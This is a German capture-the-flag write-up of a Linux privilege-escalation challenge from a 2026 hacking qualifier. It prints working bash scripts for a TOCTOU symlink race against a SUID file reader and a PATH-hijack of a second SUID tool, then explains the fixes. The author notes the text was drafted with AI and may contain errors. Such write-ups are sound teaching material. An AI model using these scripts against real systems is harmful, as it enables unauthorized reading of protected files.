Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | Linux |
| Punkte | 241 |
| Angriffsklasse | SUIDSUID-BinaryProgramm, das mit den Rechten seines Eigentümers statt denen des Aufrufers läuft.-TOCTOURace ConditionFehler, bei dem das Ergebnis von der zeitlichen Reihenfolge paralleler Vorgänge abhängt. (Symlink-Race) + PATH-HijackingPATH-HijackingUnterschieben eines eigenen Programms, indem der Suchpfad eines relativen Aufrufs manipuliert wird. |
| Ziel | Als unprivilegierter User /opt/flag_part1.txt und /opt/flag_part2.txt lesen |
Die Challenge
Ausgangslage ist eine Shell als unprivilegierter User in einem Container
(Kubernetes-Pod, Talos-Kernel). Die Flag liegt in zwei Teilen unter /opt/, beide für den
eigenen User nicht lesbar.
Aufklärung
$ id
uid=1000(user_da3bc41d) gid=1000(user_da3bc41d) groups=1000(user_da3bc41d)
$ uname -a
Linux ... 6.12.6-talos ... x86_64 GNU/Linux
Container-Härtung geprüft — kein einfacher Escape:
$ grep Cap /proc/self/status
CapEff: 0000000000000000 # keine Capabilities
- Kein
sudo - Keine Capabilities (
CapEff=0), nicht privilegiert - Kein Docker-/containerd-Socket gemountet, kein Host-Filesystem
Der Weg führt also über SUID-Binaries:
$ find / -perm -4000 -type f 2>/dev/null
...
/usr/local/bin/secure_reader
/usr/local/bin/sys_admin_tool
Zwei custom SUID-root-Tools — die vorgesehenen Angriffsvektoren. Die Ziel-Dateien:
$ ls -la /opt/
-r-------- 1 root root 18 flag_part1.txt
-r-------- 1 flagreader2 flagreader2 33 flag_part2.txt
drwxrwxrwx 2 root root 6 user_files
/opt/user_files ist world-writable — das wird für den Symlink-Trick wichtig.
Die Schwachstelle
Die Binaries wurden base64-kodiert exfiltriert und lokal mit objdump -d disassembliert.
secure_reader
Aufruf: secure_reader /opt/<datei>. Kernlogik in print_file(pfad):
strncmp(pfad, "/opt/", 5); // (1) nur Praefix-Check der ersten 5 Bytes
access(pfad, R_OK); // (2) Zugriffspruefung mit REALER UID
usleep(5000); // (3) 5 ms Pause
fopen(pfad, "r"); // (4) Oeffnen als EFFEKTIVE UID = root
// fgets-Schleife -> printf("%s") -> fclose
Zwei Schwächen:
- Präfix-Bypass:
strncmpprüft nur, ob der Pfad mit/opt/beginnt. Kein Kanonisieren →/opt/../tmp/xbesteht den Check. - TOCTOU:
access()prüft mit der realen UID,fopen()liest als root — dazwischen liegen 5 ms. Zeigt der Pfad auf einen Symlink, kann man dessen Ziel im Fenster umbiegen: beim Check auf eine eigene Datei (erlaubt), beim Öffnen auf die root-Datei.
sys_admin_tool
pw = getpwnam("flagreader2");
setgid(pw->pw_gid);
setuid(pw->pw_uid); // droppt root -> wird zu flagreader2
system("viewer --file-path /var/log/sys_health.log");
Schwäche: PATH-Hijacking. viewer wird ohne absoluten Pfad via system() (=
/bin/sh -c) aufgerufen. Ein eigenes viewer im PATH läuft als flagreader2.
Der Angriff
root umgeht beim fopen die Dateirechte, daher liest der secure_reader-TOCTOU
beide Flag-Teile — auch den, der flagreader2 gehört. Der Symlink liegt in
/opt/user_files, das world-writable ist und dessen Pfad mit /opt/ beginnt:
cd /opt/user_files
echo x > ours
grab() {
ln -sfn ours race
( while :; do ln -sfn "$1" race; ln -sfn ours race; done ) &
local f=$!
for i in $(seq 1 500000); do
out=$(secure_reader /opt/user_files/race 2>/dev/null)
case "$out" in
""|x|*Error*) ;;
*) echo "$1 -> $out"; break;;
esac
done
kill $f 2>/dev/null
}
grab /opt/flag_part1.txt
grab /opt/flag_part2.txt
Ein Hintergrund-Loop biegt den Symlink pausenlos zwischen ours (eigene Datei, access
besteht) und der Zieldatei um. Der Hauptloop ruft secure_reader wiederholt auf, bis die
5-ms-Race gewinnt und root den Flag-Inhalt ausgibt.
Für Teil 2 gibt es einen zweiten, deutlich bequemeren Weg über sys_admin_tool:
cd /tmp
printf '#!/bin/sh\ncat /opt/flag_part2.txt\n' > viewer
chmod +x viewer
PATH=/tmp:$PATH sys_admin_tool
Die Flag
Beide Teile ergeben zusammengesetzt eine Flag im Format DBH{...}:
flag_part1.txt -> <TEIL 1>
flag_part2.txt -> <TEIL 2>
Was ich mitnehme
Beide Bugs sind Lehrbuchfälle, und beide haben denselben Kern: der geprüfte Zustand ist nicht der genutzte Zustand.
Die Fixes:
secure_reader: keineaccess()+fopen()-Trennung — stattdessen als realer User öffnen (setresuid/openmit gedroppten Rechten) oderrealpath()kanonisieren und Symlinks perO_NOFOLLOWablehnen.sys_admin_tool: absolute Pfade insystem(), besserexecveohne Shell und mit bereinigtemPATH. Eine SUID-Binary sollte nie ein relatives Kommando über die Shell starten./opt/user_filesnicht world-writable machen — das war die Bühne für den Symlink-Race.